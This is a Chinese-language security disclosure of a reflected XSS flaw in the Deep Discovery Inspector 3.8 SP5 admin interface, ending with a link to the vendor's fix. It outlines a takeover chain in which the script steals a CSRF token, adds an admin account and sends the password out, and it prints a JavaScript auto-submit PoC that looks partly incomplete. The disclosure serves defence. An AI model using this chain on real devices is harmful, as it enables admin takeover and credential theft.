我在 Deep Discovery Inspector 3.8 Service Pack 5 Build: 3.85.1165 的管理Web界面中发现了一个反射型XSS漏洞。易受攻击的脚本路径是 /php/detection_detail_filter.php。该脚本仅可供经过身份验证的用户访问,但考虑到下面的攻击场景,这并不会降低漏洞的严重性。
https://PASTE_DDI_IP_HERE/php/detection_detail_filter.php?ips%5B%5D=217.69.139.245%3A80
Screen1.png 证实 ips[] 参数存在HTML代码注入漏洞。
此漏洞可用于绕过CSRF保护、获取CSRF令牌并成功实施CSRF攻击。甚至可以通过以下场景完全接管Deep Discovery Inspector设备:
1. 登录到DDI Web界面的用户被诱骗访问恶意网页。
2. 利用 /php/detection_detail_filter.php 中的XSS漏洞,该页面上的恶意脚本被执行。
3. 该脚本通过向 /wsgi/csrf/get_token/ 发送 PUT 请求获取CSRF令牌。
4. 然后,它利用从先前请求的响应中获取的令牌添加一个具有管理员权限的账户。
5. 添加的账户的密码从先前请求的响应中获取。
6. 密码可以通过HTTP请求传输到攻击者的主机。
Screen2.png 展示了攻击过程。
要复现攻击,您可以使用以下代码片段(ddi_ip 变量应根据您的DDI设备的IP地址进行更改):
<b>DDI PoC</b>
<script type="text/javascript">
function post(path, params, method) {
method = method || "post"; // Set method to post by default if not specified.
// The rest of this code assumes you are not using a library.
// It can be made less wordy if you use one.
var form = document.createElement("form");
form.setAttribute("method", 'POST');
form.setAttribute("action", path);
for(var key in params) {
if(params.hasOwnProperty(key)) {
var hiddenField = document.createElement("input");
hiddenField.setAttribute("type", "hidden");
hiddenField.setAttribute("name", key);
hiddenField.setAttribute("value", params[key]);
form.appendChild(hiddenField);
}
}
document.body.appendChild(form);
form.submit();
}
var ddi_ip = '192.168.91.66';
post('https:///'+ddi_ip+'/php/detection_detail_filter.php', {'ips[]':'217.69.139.245:8'});
</script>
此PoC代码应放置在攻击者的Web服务器上,并且应由登录到DDI Web界面的用户(具有管理员权限)打开指向该服务器的链接。可以通过社会工程学诱使用户点击链接。
趋势科技提供了以下解决方案: https://success.trendmicro.com/solution/1121079